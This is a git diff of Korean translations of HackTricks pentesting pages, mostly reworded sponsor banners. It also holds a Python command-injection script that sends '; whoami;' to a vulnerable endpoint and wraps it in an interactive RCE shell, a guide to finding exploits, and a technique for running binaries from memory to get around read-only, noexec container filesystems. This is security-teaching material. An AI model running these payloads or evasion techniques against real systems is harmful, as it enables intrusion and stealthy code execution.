@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -39,24 +39,24 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 사용하여 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -90,37 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## RCE를 악용하기 위한 Python cmd
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = "http://target.com/vulnerable_endpoint"
|
||||
cmd = "whoami"
|
||||
|
||||
payload = "; " + cmd + ";"
|
||||
|
||||
response = requests.get(url + payload)
|
||||
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
위의 Python 코드는 원격 코드 실행(RCE)를 악용하기 위한 명령어입니다.
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = "http://target.com/vulnerable_endpoint"
|
||||
cmd = "whoami"
|
||||
|
||||
payload = "; " + cmd + ";"
|
||||
|
||||
response = requests.get(url + payload)
|
||||
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
The above Python code is a command to exploit Remote Code Execution (RCE).
|
||||
## 원격 코드 실행(RCE)를 악용하는 Python 명령어
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -147,24 +117,24 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로가 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Exploit 검색
|
||||
# Exploits 검색
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### 브라우저
|
||||
|
||||
항상 "google" 또는 기타에서 검색하세요: **\<service\_name> \[version] exploit**
|
||||
언제나 "google" 또는 다른 곳에서 **\<service\_name> \[version] exploit**을 검색하세요.
|
||||
|
||||
또한 [https://exploits.shodan.io/](https://exploits.shodan.io)의 **shodan exploit 검색**을 시도해보세요.
|
||||
또한 [https://exploits.shodan.io/](https://exploits.shodan.io)의 **shodan exploit search**를 시도해보세요.
|
||||
|
||||
### Searchsploit
|
||||
|
||||
콘솔에서 **exploitdb의 서비스에 대한 exploit을 검색**하는 데 유용합니다.
|
||||
**콘솔에서 exploitdb의 서비스에 대한 exploits를 검색하는 데 유용합니다.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
|||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)은 다른 exploits를 검색하기 위한 도구입니다.
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) 는 취약점을 검색하는 또 다른 도구입니다.
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
|
@ -60,24 +60,24 @@ vulners 데이터베이스에서도 검색할 수 있습니다: [https://vulners
|
|||
|
||||
이것은 다른 데이터베이스에서 exploits를 검색합니다: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**할 수 있습니다.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>로부터 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **HackTricks에서 귀하의 회사를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -29,7 +29,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 읽기 전용 / 실행 불가 시나리오
|
||||
|
||||
리눅스 머신에서 **읽기 전용 (ro) 파일 시스템 보호**가 특히 컨테이너에서 자주 발견되는 것이 점점 더 일반적해졌습니다. 이는 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만으로 ro 파일 시스템을 사용하여 컨테이너를 실행할 수 있기 때문입니다:
|
||||
특히 컨테이너에서 **읽기 전용 (ro) 파일 시스템 보호**로 마운트된 리눅스 머신을 더 많이 찾을 수 있습니다. 이는 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만으로 ro 파일 시스템을 사용하여 컨테이너를 실행할 수 있기 때문입니다:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호**로 마운트되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**.
|
||||
그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호로 마운트**되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
적색 팀 관점에서는 시스템에 이미 없는 바이너리(백도어 또는 `kubectl`과 같은 열거자)를 **다운로드하고 실행하는 것이 복잡**해집니다.
|
||||
|
@ -52,9 +52,9 @@ securityContext:
|
|||
|
||||
## 가장 쉬운 우회: 스크립트
|
||||
|
||||
바이너리를 언급했지만, 인터프리터가 머신 내에 있으면 **쉘 스크립트**(`sh`가 설치되어 있는 경우) 또는 **파이썬 스크립트**(`python`이 설치된 경우)와 같이 **스크립트를 실행**할 수 있습니다.
|
||||
바이너리를 언급했지만, 인터프리터가 머신 내에 있는 한 **쉘 스크립트**(`sh`가 설치되어 있는 경우)나 **파이썬 스크립트**(`python`이 설치된 경우)와 같이 **스크립트를 실행**할 수 있습니다.
|
||||
|
||||
그러나 이것만으로는 바이너리 백도어 또는 실행해야 할 다른 바이너리 도구를 실행할 수 없을 수도 있습니다.
|
||||
그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행할 수 없을 수도 있습니다.
|
||||
|
||||
## 메모리 우회
|
||||
|
||||
|
@ -62,22 +62,20 @@ securityContext:
|
|||
|
||||
### FD + exec 시스템 호출 우회
|
||||
|
||||
**Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 머신 내에 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터에 저장한 다음(**`create_memfd` 시스템 호출**), **fd를 실행할 파일로 지정**하는 **`exec` 시스템 호출**을 호출할 수 있습니다.
|
||||
머신 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터(`create_memfd` 시스템 호출)에 저장한 후, 이러한 보호 기능에 의해 보호되지 않을 것이므로 **fd를 파일로 실행**할 수 있도록 **`exec` 시스템 호출**을 호출할 수 있습니다.
|
||||
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 압축하고 b64로 인코딩**하고 **해당 언어로 스크립트를 생성**하여 `create_memfd` 시스템 호출을 통해 만든 **fd**에 **디코딩 및 압축 해제**하는 지침이 포함되어 있습니다. 그리고 **실행**하기 위해 **exec** 시스템 호출을 호출합니다.
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 디코딩하고 압축 해제하는 지침과 함께** **지정된 언어의 스크립트**를 생성하여 `create_memfd` 시스템 호출을 통해 만든 **fd**에 바이너리를 저장하고 실행하기 위한 **exec** 시스템 호출을 호출합니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 **스크립트에서 원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **바이너리를 저장할 메모리 fd**를 만들 수 없으므로 이 방법은 작동하지 않습니다.
|
||||
|
||||
또한 `/dev/shm`에 파일이 있는 **일반적인 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다.
|
||||
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 **스크립트에서 원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들어 바이너리를 저장할 수 없습니다. 따라서 `/dev/shm`에 파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
